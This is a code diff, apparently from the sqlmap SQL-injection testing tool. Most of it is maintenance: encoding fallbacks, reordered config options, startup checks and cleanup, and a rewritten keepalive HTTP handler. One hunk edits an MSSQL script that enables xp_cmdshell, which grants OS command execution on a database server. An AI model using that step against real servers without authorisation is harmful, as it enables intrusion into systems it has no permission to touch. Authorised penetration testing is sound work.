+from lib.core.settings import UNICODE_ENCODING
 from lib.request import inject

 class Filesystem:
@@ -69,7 +70,7 @@ class Filesystem:

            if isNumPosStrValue(remoteFileSize):
                remoteFileSize = long(remoteFileSize)
-                localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
+                localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
                sameFile = False

                if localFileSize == remoteFileSize:
@@ -87,7 +88,7 @@ class Filesystem:
            else:
                sameFile = False
                warnMsg = "it looks like the file has not been written (usually "
-                warnMsg += "occurs if the DBMS process' user has no write "
+                warnMsg += "occurs if the DBMS process user has no write "
                warnMsg += "privileges in the destination path)"
                logger.warn(warnMsg)

@@ -2,5 +2,5 @@ EXEC master..sp_configure 'show advanced options',1;
 RECONFIGURE WITH OVERRIDE;
 EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
 RECONFIGURE WITH OVERRIDE;
-EXEC sp_configure 'show advanced options',0;
+EXEC master..sp_configure 'show advanced options',0;
 RECONFIGURE WITH OVERRIDE
@@ -482,6 +482,9 @@ col =
 # Back-end database management system database table column(s) to not enumerate.
 excludeCol = 

+# Pivot column name.
+pivotColumn =
+
 # Use WHERE condition while table dumping (e.g. "id=1").
 dumpWhere = 

@@ -650,6 +653,9 @@ trafficFile =
 # Valid: True or False
 batch = False

+# Result fields having binary values (e.g. "digest").
+binaryFields =
+
 # Force character encoding used for data retrieval.
 charset = 

@@ -697,9 +703,6 @@ outputDir =
 # Valid: True or False
 parseErrors = False

-# Pivot column name.
-pivotColumn =
-
 # Regular expression for filtering targets from provided Burp.
 # or WebScarab proxy log.
 # Example: (google|yahoo)
@@ -753,10 +756,6 @@ googlePage = 1
 # Valid: True or False
 identifyWaf = False

-# Skip heuristic detection of WAF/IPS/IDS protection.
-# Valid: True or False
-skipWaf = False
-
 # Imitate smartphone through HTTP User-Agent header.
 # Valid: True or False
 mobile = False
@@ -769,10 +768,17 @@ offline = False
 # Valid: True or False
 pageRank = False

+# Skip heuristic detection of WAF/IPS/IDS protection.
+# Valid: True or False
+skipWaf = False
+
 # Conduct thorough tests only if positive heuristic(s).
 # Valid: True or False
 smart = False

+# Local directory for storing temporary files.
+tmpDir =
+
 # Simple wizard interface for beginner users.
 # Valid: True or False
 wizard = False
@@ -12,6 +12,8 @@ sys.dont_write_bytecode = True
 from lib.utils import versioncheck  # this has to be the first non-standard import

 import bdb
+import distutils
+import glob
 import inspect
 import logging
 import os
@@ -19,6 +21,7 @@ import re
 import shutil
 import sys
 import thread
+import threading
 import time
 import traceback
 import warnings
@@ -26,34 +29,47 @@ import warnings
 warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
 warnings.filterwarnings(action="ignore", category=DeprecationWarning)

-from lib.controller.controller import start
-from lib.core.common import banner
-from lib.core.common import createGithubIssue
-from lib.core.common import dataToStdout
-from lib.core.common import getSafeExString
-from lib.core.common import getUnicode
-from lib.core.common import maskSensitiveData
-from lib.core.common import setPaths
-from lib.core.common import weAreFrozen
-from lib.core.data import cmdLineOptions
-from lib.core.data import conf
-from lib.core.data import kb
 from lib.core.data import logger
-from lib.core.data import paths
-from lib.core.common import unhandledExceptionMessage
-from lib.core.exception import SqlmapBaseException
-from lib.core.exception import SqlmapShellQuitException
-from lib.core.exception import SqlmapSilentQuitException
-from lib.core.exception import SqlmapUserQuitException
-from lib.core.option import initOptions
-from lib.core.option import init
-from lib.core.profiling import profile
-from lib.core.settings import LEGAL_DISCLAIMER
-from lib.core.testing import smokeTest
-from lib.core.testing import liveTest
-from lib.parse.cmdline import cmdLineParser
-from lib.utils.api import setRestAPILog
-from lib.utils.api import StdDbOut
+
+try:
+    from lib.controller.controller import start
+    from lib.core.common import banner
+    from lib.core.common import createGithubIssue
+    from lib.core.common import dataToStdout
+    from lib.core.common import getSafeExString
+    from lib.core.common import getUnicode
+    from lib.core.common import maskSensitiveData
+    from lib.core.common import setPaths
+    from lib.core.common import weAreFrozen
+    from lib.core.data import cmdLineOptions
+    from lib.core.data import conf
+    from lib.core.data import kb
+    from lib.core.data import paths
+    from lib.core.common import unhandledExceptionMessage
+    from lib.core.common import MKSTEMP_PREFIX
+    from lib.core.exception import SqlmapBaseException
+    from lib.core.exception import SqlmapShellQuitException
+    from lib.core.exception import SqlmapSilentQuitException
+    from lib.core.exception import SqlmapUserQuitException
+    from lib.core.option import initOptions
+    from lib.core.option import init
+    from lib.core.profiling import profile
+    from lib.core.settings import GIT_PAGE
+    from lib.core.settings import IS_WIN
+    from lib.core.settings import LEGAL_DISCLAIMER
+    from lib.core.settings import THREAD_FINALIZATION_TIMEOUT
+    from lib.core.settings import UNICODE_ENCODING
+    from lib.core.settings import VERSION
+    from lib.core.testing import smokeTest
+    from lib.core.testing import liveTest
+    from lib.parse.cmdline import cmdLineParser
+    from lib.utils.api import setRestAPILog
+    from lib.utils.api import StdDbOut
+except KeyboardInterrupt:
+    errMsg = "user aborted"
+    logger.error(errMsg)
+
+    raise SystemExit

 def modulePath():
    """
@@ -66,7 +82,26 @@ def modulePath():
    except NameError:
        _ = inspect.getsourcefile(modulePath)

-    return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding())
+    return getUnicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
+
+def checkEnvironment():
+    paths.SQLMAP_ROOT_PATH = modulePath()
+
+    try:
+        os.path.isdir(paths.SQLMAP_ROOT_PATH)
+    except UnicodeEncodeError:
+        errMsg = "your system does not properly handle non-ASCII paths. "
+        errMsg += "Please move the sqlmap's directory to the other location"
+        logger.critical(errMsg)
+        raise SystemExit
+
+    if distutils.version.LooseVersion(VERSION) < distutils.version.LooseVersion("1.0"):
+        errMsg = "your runtime environment (e.g. PYTHONPATH) is "
+        errMsg += "broken. Please make sure that you are not running "
+        errMsg += "newer versions of sqlmap with runtime scripts for older "
+        errMsg += "versions"
+        logger.critical(errMsg)
+        raise SystemExit

 def main():
    """
@@ -74,15 +109,7 @@ def main():
    """

    try:
-        paths.SQLMAP_ROOT_PATH = modulePath()
-
-        try:
-            os.path.isdir(paths.SQLMAP_ROOT_PATH)
-        except UnicodeEncodeError:
-            errMsg = "your system does not properly handle non-ASCII paths. "
-            errMsg += "Please move the sqlmap's directory to the other location"
-            logger.error(errMsg)
-            raise SystemExit
+        checkEnvironment()

        setPaths()
        banner()
@@ -174,11 +201,31 @@ def main():
                logger.error(errMsg)
                raise SystemExit

+            elif all(_ in excMsg for _ in ("No such file", "_'")):
+                errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
+                errMsg += "You should retrieve the latest development version from official GitHub "
+                errMsg += "repository at '%s'" % GIT_PAGE
+                logger.error(errMsg)
+                raise SystemExit
+
+            elif "Read-only file system" in excMsg:
+                errMsg = "output device is mounted as read-only"
+                logger.error(errMsg)
+                raise SystemExit
+
            elif "_mkstemp_inner" in excMsg:
                errMsg = "there has been a problem while accessing temporary files"
                logger.error(errMsg)
                raise SystemExit

+            elif "can't start new thread" in excMsg:
+                errMsg = "there has been a problem while creating new thread instance. "
+                errMsg += "Please make sure that you are not running too many processes"
+                if not IS_WIN:
+                    errMsg += " (or increase the 'ulimit -u' value)"
+                logger.error(errMsg)
+                raise SystemExit
+
            elif all(_ in excMsg for _ in ("pymysql", "configparser")):
                errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
                logger.error(errMsg)
@@ -217,13 +264,21 @@ def main():

    finally:
        kb.threadContinue = False
-        kb.threadException = True

        if conf.get("showTime"):
            dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)

+        kb.threadException = True
+
        if kb.get("tempDir"):
-            shutil.rmtree(kb.tempDir, ignore_errors=True)
+                for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
+                    for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)):
+                        try:
+                            os.remove(filepath)
+                        except OSError:
+                            pass
+                if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
+                    shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get("hashDB"):
            try:
@@ -246,8 +301,16 @@ def main():
        if conf.get("dumper"):
            conf.dumper.flush()

+        # short delay for thread finalization
+        try:
+            _ = time.time()
+            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
+                time.sleep(0.01)
+        except KeyboardInterrupt:
+            pass
+
        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
-        if conf.get("threads", 0) > 1 or conf.get("dnsServer"):
+        if threading.activeCount() > 1:
            os._exit(0)

 if __name__ == "__main__":
@@ -95,7 +95,7 @@ try:
        return (args, varargs, keywords, tuple(defaults) or None)
 except ImportError:
    from inspect import getargspec
-    
+
 try:
    from simplejson import dumps as json_dumps, loads as json_lds
 except ImportError:  # pragma: no cover
@@ -1,30 +1,40 @@
 #!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+#   This library is free software; you can redistribute it and/or
+#   modify it under the terms of the GNU Lesser General Public
+#   License as published by the Free Software Foundation; either
+#   version 2.1 of the License, or (at your option) any later version.
 #
-# Copyright 2002-2003 Michael D. Stenner
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#   This library is distributed in the hope that it will be useful,
+#   but WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+#   Lesser General Public License for more details.
 #
+#   You should have received a copy of the GNU Lesser General Public
+#   License along with this library; if not, write to the 
+#      Free Software Foundation, Inc., 
+#      59 Temple Place, Suite 330, 
+#      Boston, MA  02111-1307  USA
+
+# This file was part of urlgrabber, a high-level cross-protocol url-grabber
+# Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko
+# Copyright 2015 Sergio Fernández

 """An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.

-  import urllib2
-  from keepalive import HTTPHandler
-  keepalive_handler = HTTPHandler()
-  opener = urllib2.build_opener(keepalive_handler)
-  urllib2.install_opener(opener)
+>>> import urllib2
+>>> from keepalive import HTTPHandler
+>>> keepalive_handler = HTTPHandler()
+>>> opener = urllib2.build_opener(keepalive_handler)
+>>> urllib2.install_opener(opener)
+>>> 
+>>> fo = urllib2.urlopen('http://www.python.org')

-  fo = urllib2.urlopen('http://www.python.org')
+If a connection to a given host is requested, and all of the existing
+connections are still in use, another connection will be opened.  If
+the handler tries to use an existing connection but it fails in some
+way, it will be closed and removed from the pool.

 To remove the handler, simply re-run build_opener with no arguments, and
 install that opener.
@@ -37,9 +47,13 @@ use the handler methods:
  close_all()
  open_connections()

-Example:
+NOTE: using the close_connection and close_all methods of the handler
+should be done with care when using multiple threads.
+  * there is nothing that prevents another thread from creating new
+    connections immediately after connections are closed
+  * no checks are done to prevent in-use connections from being closed

-  keepalive_handler.close_all()
+>>> keepalive_handler.close_all()

 EXTRA ATTRIBUTES AND METHODS

@@ -55,162 +69,307 @@ EXTRA ATTRIBUTES AND METHODS
  If you want the best of both worlds, use this inside an
  AttributeError-catching try:

-    try: status = fo.status
-    except AttributeError: status = None
+  >>> try: status = fo.status
+  >>> except AttributeError: status = None

  Unfortunately, these are ONLY there if status == 200, so it's not
  easy to distinguish between non-200 responses.  The reason is that
  urllib2 tries to do clever things with error codes 301, 302, 401,
  and 407, and it wraps the object upon return.

-  You can optionally set the module-level global HANDLE_ERRORS to 0,
-  in which case the handler will always return the object directly.
-  If you like the fancy handling of errors, don't do this.  If you
-  prefer to see your error codes, then do.
+  For python versions earlier than 2.4, you can avoid this fancy error
+  handling by setting the module-level global HANDLE_ERRORS to zero.
+  You see, prior to 2.4, it's the HTTP Handler's job to determine what
+  to handle specially, and what to just pass up.  HANDLE_ERRORS == 0
+  means "pass everything up".  In python 2.4, however, this job no
+  longer belongs to the HTTP Handler and is now done by a NEW handler,
+  HTTPErrorProcessor.  Here's the bottom line:
+
+    python version < 2.4
+        HANDLE_ERRORS == 1  (default) pass up 200, treat the rest as
+                            errors
+        HANDLE_ERRORS == 0  pass everything up, error processing is
+                            left to the calling code
+    python version >= 2.4
+        HANDLE_ERRORS == 1  pass up 200, treat the rest as errors
+        HANDLE_ERRORS == 0  (default) pass everything up, let the
+                            other handlers (specifically,
+                            HTTPErrorProcessor) decide what to do
+
+  In practice, setting the variable either way makes little difference
+  in python 2.4, so for the most consistent behavior across versions,
+  you probably just want to use the defaults, which will give you
+  exceptions on errors.

 """
-from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader

-from lib.core.convert import unicodeencode
-from lib.core.data import kb
+# $Id: keepalive.py,v 1.17 2006/12/08 00:14:16 mstenner Exp $

-import threading
 import urllib2
 import httplib
 import socket
+import thread

-VERSION = (0, 1)
-#STRING_VERSION = '.'.join(map(str, VERSION))
-DEBUG = 0
-HANDLE_ERRORS = 1
+DEBUG = None

-class HTTPHandler(urllib2.HTTPHandler):
+import sys
+if sys.version_info < (2, 4): HANDLE_ERRORS = 1
+else: HANDLE_ERRORS = 0
+
+class ConnectionManager:
+    """
+    The connection manager must be able to:
+      * keep track of all existing
+      """
    def __init__(self):
-        self._connections = {}
+        self._lock = thread.allocate_lock()
+        self._hostmap = {} # map hosts to a list of connections
+        self._connmap = {} # map connections to host
+        self._readymap = {} # map connection to ready state
+
+    def add(self, host, connection, ready):
+        self._lock.acquire()
+        try:
+            if not self._hostmap.has_key(host): self._hostmap[host] = []
+            self._hostmap[host].append(connection)
+            self._connmap[connection] = host
+            self._readymap[connection] = ready
+        finally:
+            self._lock.release()
+
+    def remove(self, connection):
+        self._lock.acquire()
+        try:
+            try:
+                host = self._connmap[connection]
+            except KeyError:
+                pass
+            else:
+                del self._connmap[connection]
+                del self._readymap[connection]
+                self._hostmap[host].remove(connection)
+                if not self._hostmap[host]: del self._hostmap[host]
+        finally:
+            self._lock.release()
+
+    def set_ready(self, connection, ready):
+        try: self._readymap[connection] = ready
+        except KeyError: pass
+
+    def get_ready_conn(self, host):
+        conn = None
+        self._lock.acquire()
+        try:
+            if self._hostmap.has_key(host):
+                for c in self._hostmap[host]:
+                    if self._readymap[c]:
+                        self._readymap[c] = 0
+                        conn = c
+                        break
+        finally:
+            self._lock.release()
+        return conn
+
+    def get_all(self, host=None):
+        if host:
+            return list(self._hostmap.get(host, []))
+        else:
+            return dict(self._hostmap)
+
+class KeepAliveHandler:
+    def __init__(self):
+        self._cm = ConnectionManager()
+
+    #### Connection Management
+    def open_connections(self):
+        """return a list of connected hosts and the number of connections
+        to each.  [('foo.com:80', 2), ('bar.org', 1)]"""
+        return [(host, len(li)) for (host, li) in self._cm.get_all().items()]

    def close_connection(self, host):
-        """close connection to <host>
+        """close connection(s) to <host>
        host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
        no error occurs if there is no connection to that host."""
-        self._remove_connection(host, close=1)
-
-    def open_connections(self):
-        """return a list of connected hosts"""
-        retVal = []
-        currentThread = threading.currentThread()
-        for name, host in self._connections.keys():
-            if name == currentThread.getName():
-                retVal.append(host)
-        return retVal
+        for h in self._cm.get_all(host):
+            self._cm.remove(h)
+            h.close()

    def close_all(self):
        """close all open connections"""
-        for _, conn in self._connections.items():
-            conn.close()
-        self._connections = {}
+        for host, conns in self._cm.get_all().items():
+            for h in conns:
+                self._cm.remove(h)
+                h.close()

-    def _remove_connection(self, host, close=0):
-        key = self._get_connection_key(host)
-        if self._connections.has_key(key):
-            if close: self._connections[key].close()
-            del self._connections[key]
+    def _request_closed(self, request, host, connection):
+        """tells us that this request is now closed and the the
+        connection is ready for another request"""
+        self._cm.set_ready(connection, 1)

-    def _get_connection_key(self, host):
-        return (threading.currentThread().getName(), host)
+    def _remove_connection(self, host, connection, close=0):
+        if close: connection.close()
+        self._cm.remove(connection)

-    def _start_connection(self, h, req):
-        h.clearheaders()
-        try:
-            if req.has_data():
-                data = req.get_data()
-                h.putrequest('POST', req.get_selector())
-                if not req.headers.has_key('Content-type'):
-                    req.headers['Content-type'] = 'application/x-www-form-urlencoded'
-                if not req.headers.has_key('Content-length'):
-                    req.headers['Content-length'] = '%d' % len(data)
-            else:
-                h.putrequest(req.get_method() or 'GET', req.get_selector())
-
-            if not req.headers.has_key('Connection'):
-                req.headers['Connection'] = 'keep-alive'
-
-            for args in self.parent.addheaders:
-                h.putheader(*args)
-            for k, v in req.headers.items():
-                h.putheader(k, v)
-            h.endheaders()
-            if req.has_data():
-                h.send(data)
-        except socket.error, err:
-            h.close()
-            raise urllib2.URLError(err)
-
-    def do_open(self, http_class, req):
-        h = None
-        host = req.get_host()
+    #### Transaction Execution
+    def do_open(self, req):
+        host = req.host
        if not host:
            raise urllib2.URLError('no host given')

        try:
-            need_new_connection = 1
-            key = self._get_connection_key(host)
-            h = self._connections.get(key)
-            if not h is None:
-                try:
-                    self._start_connection(h, req)
-                except:
-                    r = None
-                else:
-                    try: r = h.getresponse()
-                    except httplib.ResponseNotReady, e: r = None
-                    except httplib.BadStatusLine, e: r = None
+            h = self._cm.get_ready_conn(host)
+            while h:
+                r = self._reuse_connection(h, req, host)

-                if r is None or r.version == 9:
-                    # httplib falls back to assuming HTTP 0.9 if it gets a
-                    # bad header back.  This is most likely to happen if
-                    # the socket has been closed by the server since we
-                    # last used the connection.
-                    if DEBUG: print "failed to re-use connection to %s" % host
-                    h.close()
-                else:
-                    if DEBUG: print "re-using connection to %s" % host
-                    need_new_connection = 0
-            if need_new_connection:
-                if DEBUG: print "creating new connection to %s" % host
-                h = http_class(host)
-                self._connections[key] = h
-                self._start_connection(h, req)
+                # if this response is non-None, then it worked and we're
+                # done.  Break out, skipping the else block.
+                if r: break
+
+                # connection is bad - possibly closed by server
+                # discard it and ask for the next free connection
+                h.close()
+                self._cm.remove(h)
+                h = self._cm.get_ready_conn(host)
+            else:
+                # no (working) free connections were found.  Create a new one.
+                h = self._get_connection(host)
+                if DEBUG: DEBUG.info("creating new connection to %s (%d)",
+                                     host, id(h))
+                self._cm.add(host, h, 0)
+                self._start_transaction(h, req)
                r = h.getresponse()
-        except socket.error, err:
-            if h: h.close()
+        except (socket.error, httplib.HTTPException), err:
            raise urllib2.URLError(err)

+        if DEBUG: DEBUG.info("STATUS: %s, %s", r.status, r.reason)
+
        # if not a persistent connection, don't try to reuse it
-        if r.will_close: self._remove_connection(host)
+        if r.will_close:
+            if DEBUG: DEBUG.info('server will close connection, discarding')
+            self._cm.remove(h)

-        if DEBUG:
-            print "STATUS: %s, %s" % (r.status, r.reason)
        r._handler = self
        r._host = host
        r._url = req.get_full_url()
+        r._connection = h
+        r.code = r.status
+        r.headers = r.msg
+        r.msg = r.reason

-        #if r.status == 200 or not HANDLE_ERRORS:
-            #return r
        if r.status == 200 or not HANDLE_ERRORS:
-            # [speedplane] Must return an adinfourl object
-            resp = urllib2.addinfourl(r, r.msg, req.get_full_url())
-            resp.code = r.status
-            resp.msg = r.reason
-            return resp;
+            return r
        else:
-            r.code = r.status
-            return self.parent.error('http', req, r, r.status, r.reason, r.msg)
+            return self.parent.error('http', req, r,
+                                     r.status, r.msg, r.headers)
+
+    def _reuse_connection(self, h, req, host):
+        """start the transaction with a re-used connection
+        return a response object (r) upon success or None on failure.
+        This DOES not close or remove bad connections in cases where
+        it returns.  However, if an unexpected exception occurs, it
+        will close and remove the connection before re-raising.
+        """
+        try:
+            self._start_transaction(h, req)
+            r = h.getresponse()
+            # note: just because we got something back doesn't mean it
+            # worked.  We'll check the version below, too.
+        except (socket.error, httplib.HTTPException):
+            r = None
+        except:
+            # adding this block just in case we've missed
+            # something we will still raise the exception, but
+            # lets try and close the connection and remove it
+            # first.  We previously got into a nasty loop
+            # where an exception was uncaught, and so the
+            # connection stayed open.  On the next try, the
+            # same exception was raised, etc.  The tradeoff is
+            # that it's now possible this call will raise
+            # a DIFFERENT exception
+            if DEBUG: DEBUG.error("unexpected exception - closing " + \
+                                  "connection to %s (%d)", host, id(h))
+            self._cm.remove(h)
+            h.close()
+            raise
+
+        if r is None or r.version == 9:
+            # httplib falls back to assuming HTTP 0.9 if it gets a
+            # bad header back.  This is most likely to happen if
+            # the socket has been closed by the server since we
+            # last used the connection.
+            if DEBUG: DEBUG.info("failed to re-use connection to %s (%d)",
+                                 host, id(h))
+            r = None
+        else:
+            if DEBUG: DEBUG.info("re-using connection to %s (%d)", host, id(h))
+
+        return r
+
+    def _start_transaction(self, h, req):
+        try:
+            if req.has_data():
+                data = req.data
+                if hasattr(req, 'selector'):
+                    h.putrequest(req.get_method() or 'POST', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+                else:
+                    h.putrequest(req.get_method() or 'POST', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+                if not req.headers.has_key('Content-type'):
+                    h.putheader('Content-type',
+                                'application/x-www-form-urlencoded')
+                if not req.headers.has_key('Content-length'):
+                    h.putheader('Content-length', '%d' % len(data))
+            else:
+                if hasattr(req, 'selector'):
+                    h.putrequest(req.get_method() or 'GET', req.selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+                else:
+                    h.putrequest(req.get_method() or 'GET', req.get_selector(), skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding"))
+        except (socket.error, httplib.HTTPException), err:
+            raise urllib2.URLError(err)
+
+        if not req.headers.has_key('Connection'):
+            req.headers['Connection'] = 'keep-alive'
+
+        for args in self.parent.addheaders:
+            if not req.headers.has_key(args[0]):
+                h.putheader(*args)
+        for k, v in req.headers.items():
+            h.putheader(k, v)
+        h.endheaders()
+        if req.has_data():
+            h.send(data)
+
+    def _get_connection(self, host):
+        return NotImplementedError
+
+class HTTPHandler(KeepAliveHandler, urllib2.HTTPHandler):
+    def __init__(self):
+        KeepAliveHandler.__init__(self)

    def http_open(self, req):
-        return self.do_open(HTTPConnection, req)
+        return self.do_open(req)
+
+    def _get_connection(self, host):
+        return HTTPConnection(host)
+
+class HTTPSHandler(KeepAliveHandler, urllib2.HTTPSHandler):
+    def __init__(self, ssl_factory=None):
+        KeepAliveHandler.__init__(self)
+        if not ssl_factory:
+            try:
+                import sslfactory
+                ssl_factory = sslfactory.get_factory()
+            except ImportError:
+                pass
+        self._ssl_factory = ssl_factory
+
+    def https_open(self, req):
+        return self.do_open(req)
+
+    def _get_connection(self, host):
+        try: return self._ssl_factory.get_https_connection(host)
+        except AttributeError: return HTTPSConnection(host)

 class HTTPResponse(httplib.HTTPResponse):
-
    # we need to subclass HTTPResponse in order to
    # 1) add readline() and readlines() methods
    # 2) add close_connection() methods
@@ -236,21 +395,31 @@ class HTTPResponse(httplib.HTTPResponse):
        else: # 2.2 doesn't
            httplib.HTTPResponse.__init__(self, sock, debuglevel)
        self.fileno = sock.fileno
+        self.code = None
        self._method = method
-        self._rbuf = ''
+        self._rbuf = b""
        self._rbufsize = 8096
        self._handler = None # inserted by the handler later
        self._host = None    # (same)
        self._url = None     # (same)
+        self._connection = None # (same)

    _raw_read = httplib.HTTPResponse.read

+    def close(self):
+        if self.fp:
+            self.fp.close()
+            self.fp = None
+            if self._handler:
+                self._handler._request_closed(self, self._host,
+                                              self._connection)
+
    def close_connection(self):
+        self._handler._remove_connection(self._host, self._connection, close=1)
        self.close()
-        self._handler._remove_connection(self._host, close=1)

    def info(self):
-        return self.msg
+        return self.headers

    def geturl(self):
        return self._url
@@ -268,11 +437,11 @@ class HTTPResponse(httplib.HTTPResponse):
                return s

        s = self._rbuf + self._raw_read(amt)
-        self._rbuf = ''
+        self._rbuf = b""
        return s

    def readline(self, limit=-1):
-        data = ""
+        data = b""
        i = self._rbuf.find('\n')
        while i < 0 and not (0 < limit <= len(self._rbuf)):
            new = self._raw_read(self._rbufsize)
@@ -302,43 +471,9 @@ class HTTPResponse(httplib.HTTPResponse):
 class HTTPConnection(httplib.HTTPConnection):
    # use the modified response class
    response_class = HTTPResponse
-    _headers = None

-    def clearheaders(self):
-        self._headers = {}
-
-    def putheader(self, header, value):
-        """Send a request header line to the server.
-
-        For example: h.putheader('Accept', 'text/html')
-        """
-        if self.__state != _CS_REQ_STARTED:
-            raise CannotSendHeader()
-
-        self._headers[header] = value
-
-    def endheaders(self):
-        """Indicate that the last header line has been sent to the server."""
-
-        if self.__state == _CS_REQ_STARTED:
-            self.__state = _CS_REQ_SENT
-        else:
-            raise CannotSendHeader()
-
-        for header in ('Host', 'Accept-Encoding'):
-            if header in self._headers:
-                str = '%s: %s' % (header, self._headers[header])
-                self._output(str)
-                del self._headers[header]
-
-        for header, value in self._headers.items():
-            str = '%s: %s' % (header, value)
-            self._output(str)
-
-        self._send_output()
-
-    def send(self, str):
-        httplib.HTTPConnection.send(self, unicodeencode(str, kb.pageEncoding))
+class HTTPSConnection(httplib.HTTPSConnection):
+    response_class = HTTPResponse

 #########################################################################
 #####   TEST FUNCTIONS
@@ -367,7 +502,7 @@ def error_handler(url):
            print "  status = %s, reason = %s" % (status, reason)
    HANDLE_ERRORS = orig
    hosts = keepalive_handler.open_connections()
-    print "open connections:", ' '.join(hosts)
+    print "open connections:", hosts
    keepalive_handler.close_all()

 def continuity(url):
@@ -422,9 +557,10 @@ def comp(N, url):
    print '  improvement factor: %.2f' % (t1/t2, )

 def fetch(N, url, delay=0):
+    import time
    lens = []
    starttime = time.time()
-    for i in xrange(N):
+    for i in range(N):
        if delay and i > 0: time.sleep(delay)
        fo = urllib2.urlopen(url)
        foo = fo.read()
@@ -440,6 +576,40 @@ def fetch(N, url, delay=0):

    return diff

+def test_timeout(url):
+    global DEBUG
+    dbbackup = DEBUG
+    class FakeLogger:
+        def debug(self, msg, *args): print msg % args
+        info = warning = error = debug
+    DEBUG = FakeLogger()
+    print "  fetching the file to establish a connection"
+    fo = urllib2.urlopen(url)
+    data1 = fo.read()
+    fo.close()
+
+    i = 20
+    print "  waiting %i seconds for the server to close the connection" % i
+    while i > 0:
+        sys.stdout.write('\r  %2i' % i)
+        sys.stdout.flush()
+        time.sleep(1)
+        i -= 1
+    sys.stderr.write('\r')
+
+    print "  fetching the file a second time"
+    fo = urllib2.urlopen(url)
+    data2 = fo.read()
+    fo.close()
+
+    if data1 == data2:
+        print '  data are identical'
+    else:
+        print '  ERROR: DATA DIFFER'
+
+    DEBUG = dbbackup
+
+
 def test(url, N=10):
    print "checking error hander (do this on a non-200)"
    try: error_handler(url)
@@ -452,6 +622,9 @@ def test(url, N=10):
    print
    print "performing speed comparison"
    comp(N, url)
+    print
+    print "performing dropped-connection check"
+    test_timeout(url)

 if __name__ == '__main__':
    import time
@@ -59,7 +59,7 @@ pad     -> Optional argument. Only when using padmode of PAD_NORMAL. For
 	   bytes of the unencrypted data block.
 padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
 	   or PAD_PKCS5). Defaults to PAD_NORMAL.
-	  
+

 Example
 -------
@@ -153,7 +153,7 @@ class _baseDes(object):
 	def getPadMode(self):
 		"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
 		return self._padmode
-		
+
 	def setPadMode(self, mode):
 		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
 		self._padmode = mode
@@ -188,7 +188,7 @@ class _baseDes(object):
 			if not pad:
 				raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
 			data += (self.block_size - (len(data) % self.block_size)) * pad
-		
+
 		elif padmode == PAD_PKCS5:
 			pad_len = 8 - (len(data) % self.block_size)
 			if _pythonMajorVersion < 3:
@@ -454,7 +454,7 @@ class des(_baseDes):
 	def __permutate(self, table, block):
 		"""Permutate this block with the specified table"""
 		return list(map(lambda x: block[x], table))
-	
+
 	# Transform the secret key, so that it is ready for data processing
 	# Create the 16 subkeys, K[1] - K[16]
 	def __create_sub_keys(self):
@@ -554,7 +554,7 @@ class des(_baseDes):

 			i += 1
 			iteration += iteration_adjustment
-		
+
 		# Final permutation of R[16]L[16]
 		self.final = self.__permutate(des.__fp, self.R + self.L)
 		return self.final
@@ -597,7 +597,7 @@ class des(_baseDes):
 			#	result.append(dict[data[i:i+8]])
 			#	i += 8
 			#	continue
-				
+
 			block = self.__String_to_BitList(data[i:i+8])

 			# Xor with IV if using CBC mode
@@ -522,7 +522,7 @@ class XDotAttrParser:
        self.parser = parser
        self.buf = buf
        self.pos = 0
-        
+
        self.pen = Pen()
        self.shapes = []

@@ -616,7 +616,7 @@ class XDotAttrParser:
            b = b*s
            a = 1.0
            return r, g, b, a
-                
+
        sys.stderr.write("warning: unknown color '%s'\n" % c)
        return None

@@ -691,7 +691,7 @@ class XDotAttrParser:
                sys.exit(1)

        return self.shapes
-    
+
    def transform(self, x, y):
        return self.parser.transform(x, y)

@@ -763,7 +763,7 @@ class ParseError(Exception):

    def __str__(self):
        return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None])
-        
+

 class Scanner:
    """Stateless scanner."""
@@ -1007,7 +1007,7 @@ class DotLexer(Lexer):
